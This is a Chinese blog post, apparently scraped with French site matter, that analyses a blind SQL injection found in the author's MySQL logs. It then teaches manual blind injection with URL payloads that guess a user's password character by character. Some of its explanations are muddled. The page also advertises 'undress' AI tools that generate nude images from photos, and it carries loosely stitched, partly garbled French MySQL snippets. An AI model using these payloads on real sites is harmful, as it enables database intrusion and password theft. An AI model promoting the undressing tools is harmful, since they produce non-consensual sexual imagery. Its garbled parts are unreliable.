遭遇一次MySQL猜解注入攻击
前些日子数据库被入侵,文章的阅读数都被纂改了,还好及时发现并做好备份。查一下 MySQL 语句记录,发现这么原来是这么一句 SQL 在捣鬼: UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM us
前些日子数据库被入侵,文章的阅读数都被纂改了,还好及时发现并做好备份。查一下 MySQL 语句记录,发现这么原来是这么一句 SQL 在捣鬼:
UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))>112)#
PS:user 这个表是数据库里一个以前测试用的表,表的结构也写到博文里面,暴露了字段。
这句 SQL 为什么能那么厉害呢?我们接下来分析一下。
1. 首先是 CAST(FirstName AS CHAR) 这个子句。MySQL 的 CAST() 函数可用来获取一个类型的值,并产生另一个类型的值。具体的使用可以参看 MySQL CAST与CONVERT 函数的用法 这篇文章。我们执行一下,看看结果是什么:
mysql> SELECT CAST(FirstName AS CHAR) FROM user; +-------------------------+ | CAST(FirstName AS CHAR) | +-------------------------+ | Gonn | | Mio | | Google | | yale | +-------------------------+ 4 rows in set
就是将 FirstName 这个字段全部转成 CHAR 类型。
2. 接下来我们再看 IFNULL(CAST(FirstName AS CHAR),0x20) 这个子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。具体可以参看《MySQL IFNULL()函数用法》。
执行一下:
mysql> SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user; +--------------------------------------+ | IFNULL(CAST(FirstName AS CHAR),0x20) | +--------------------------------------+ | Gonn | | Mio | | Google | | yale | +--------------------------------------+ 4 rows in set
虽然看起来结果没啥不同,但是,它起到了一个作用。假设 CAST 转换成 CHAR 失败,它就会返回 0x20 这个值,为后面的 ORD 提供作用。
3. 接下来再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 这个子句。MID() 这个函数就是截取字符串用的,具体可以看看《MySQL MID()函数用法》这个。
mysql> SELECT MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1); +----------------------------------------------------------------------------------------+ | MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) | +----------------------------------------------------------------------------------------+ | i | +----------------------------------------------------------------------------------------+ 1 row in set
就得到一个字母 i。
4. 关键的子句来了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函数返回字符串第一个字符的 ASCII 值, 《《MySQL ORD()函数用法》》。
mysql> SELECT ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)); +---------------------------------------------------------------------------------------------+ | ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)) | +---------------------------------------------------------------------------------------------+ | 105 | +---------------------------------------------------------------------------------------------+ 1 row in set
就是 i 的 ASCII 码是105.
如果是失败,返回 0x20 这种情况:
mysql> SELECT ORD('0x20'); +-------------+ | ORD('0x20') | +-------------+ | 48 | +-------------+ 1 row in set
两种情况,在 ASCII 码中都要比 112 前,就是下面的 hack 语句是可以执行的。
UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM nowamagic.`tb2` ORDER BY id LIMIT 1,1),2,1))>112)#
MySQL 猜解注入
在 MySQL 中内置了很多函数,利用它们,即使在没有联合查询功能的老版本 MySQL 上也可以做一些意想不到的操作。假设网站存在于http://www.nm.net/,我们想知道用户ID等于10的用户的密码,那么首先进行如下请求:
http://www.nm.net/index.php?id=10 and length(password)=12#
我们通过 length() 函数以及是否正确返回正常页面来确定用户密码的长度,这里我们猜解的是12位,注意数字后要有一个#号。接下来用mid()和char()暴力猜解口令的每一个字符,如果猜对了则页面返回正常:
http://www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)#
Mid()函数原型是“Mid(str,pos,len)”,也可以用substring()函数。Char()函数的参数是ASCII值,在0~255之间,一个遍历过去就可以完成破解。
另外还可以用between()函数先判断这个字符是数字还是字母,缩小范围,加快暴力破解的速度。例如要判断字符是否是小写字母还可以用如下请求:
http://www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#
除了char()函数,还可以用ord函数来进行猜解。Ord函数可以得到字符的ASCII值,所以它也能实现类似的功能:
http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D#
用ord函数的另一个好处就是可以使用大于小于这种运算符来确定字符的范围:
http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41#
就这样慢慢一步步手工猜解注入。

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Les principales raisons pour lesquelles vous ne pouvez pas vous connecter à MySQL en tant que racines sont des problèmes d'autorisation, des erreurs de fichier de configuration, des problèmes de mot de passe incohérents, des problèmes de fichiers de socket ou une interception de pare-feu. La solution comprend: vérifiez si le paramètre Bind-Address dans le fichier de configuration est configuré correctement. Vérifiez si les autorisations de l'utilisateur racine ont été modifiées ou supprimées et réinitialisées. Vérifiez que le mot de passe est précis, y compris les cas et les caractères spéciaux. Vérifiez les paramètres et les chemins d'autorisation du fichier de socket. Vérifiez que le pare-feu bloque les connexions au serveur MySQL.

Dans la base de données MySQL, la relation entre l'utilisateur et la base de données est définie par les autorisations et les tables. L'utilisateur a un nom d'utilisateur et un mot de passe pour accéder à la base de données. Les autorisations sont accordées par la commande Grant, tandis que le tableau est créé par la commande Create Table. Pour établir une relation entre un utilisateur et une base de données, vous devez créer une base de données, créer un utilisateur, puis accorder des autorisations.

Lorsque MySQL modifie la structure du tableau, les verrous de métadonnées sont généralement utilisés, ce qui peut entraîner le verrouillage du tableau. Pour réduire l'impact des serrures, les mesures suivantes peuvent être prises: 1. Gardez les tables disponibles avec le DDL en ligne; 2. Effectuer des modifications complexes en lots; 3. Opérez pendant les périodes petites ou hors pointe; 4. Utilisez des outils PT-OSC pour obtenir un contrôle plus fin.

Simplification de l'intégration des données: AmazonrDSMysQL et l'intégration Zero ETL de Redshift, l'intégration des données est au cœur d'une organisation basée sur les données. Les processus traditionnels ETL (extrait, converti, charge) sont complexes et prennent du temps, en particulier lors de l'intégration de bases de données (telles que AmazonrDSMysQL) avec des entrepôts de données (tels que Redshift). Cependant, AWS fournit des solutions d'intégration ETL Zero qui ont complètement changé cette situation, fournissant une solution simplifiée et à temps proche pour la migration des données de RDSMySQL à Redshift. Cet article plongera dans l'intégration RDSMYSQL ZERO ETL avec Redshift, expliquant comment il fonctionne et les avantages qu'il apporte aux ingénieurs de données et aux développeurs.

1. Utilisez l'index correct pour accélérer la récupération des données en réduisant la quantité de données numérisées SELECT * FROMMLOYEESEESHWHERELAST_NAME = 'SMITH'; Si vous recherchez plusieurs fois une colonne d'une table, créez un index pour cette colonne. If you or your app needs data from multiple columns according to the criteria, create a composite index 2. Avoid select * only those required columns, if you select all unwanted columns, this will only consume more server memory and cause the server to slow down at high load or frequency times For example, your table contains columns such as created_at and updated_at and timestamps, and then avoid selecting * because they do not require inefficient query se

MySQL a une version communautaire gratuite et une version d'entreprise payante. La version communautaire peut être utilisée et modifiée gratuitement, mais le support est limité et convient aux applications avec des exigences de stabilité faibles et des capacités techniques solides. L'Enterprise Edition fournit une prise en charge commerciale complète pour les applications qui nécessitent une base de données stable, fiable et haute performance et disposées à payer pour le soutien. Les facteurs pris en compte lors du choix d'une version comprennent la criticité des applications, la budgétisation et les compétences techniques. Il n'y a pas d'option parfaite, seulement l'option la plus appropriée, et vous devez choisir soigneusement en fonction de la situation spécifique.

MySQL ne peut pas fonctionner directement sur Android, mais il peut être implémenté indirectement en utilisant les méthodes suivantes: à l'aide de la base de données légère SQLite, qui est construite sur le système Android, ne nécessite pas de serveur distinct et a une petite utilisation des ressources, qui est très adaptée aux applications de périphériques mobiles. Connectez-vous à distance au serveur MySQL et connectez-vous à la base de données MySQL sur le serveur distant via le réseau pour la lecture et l'écriture de données, mais il existe des inconvénients tels que des dépendances de réseau solides, des problèmes de sécurité et des coûts de serveur.

Guide d'optimisation des performances de la base de données MySQL dans les applications à forte intensité de ressources, la base de données MySQL joue un rôle crucial et est responsable de la gestion des transactions massives. Cependant, à mesure que l'échelle de l'application se développe, les goulots d'étranglement des performances de la base de données deviennent souvent une contrainte. Cet article explorera une série de stratégies efficaces d'optimisation des performances MySQL pour garantir que votre application reste efficace et réactive dans des charges élevées. Nous combinerons des cas réels pour expliquer les technologies clés approfondies telles que l'indexation, l'optimisation des requêtes, la conception de la base de données et la mise en cache. 1. La conception de l'architecture de la base de données et l'architecture optimisée de la base de données sont la pierre angulaire de l'optimisation des performances MySQL. Voici quelques principes de base: sélectionner le bon type de données et sélectionner le plus petit type de données qui répond aux besoins peut non seulement économiser un espace de stockage, mais également améliorer la vitesse de traitement des données.
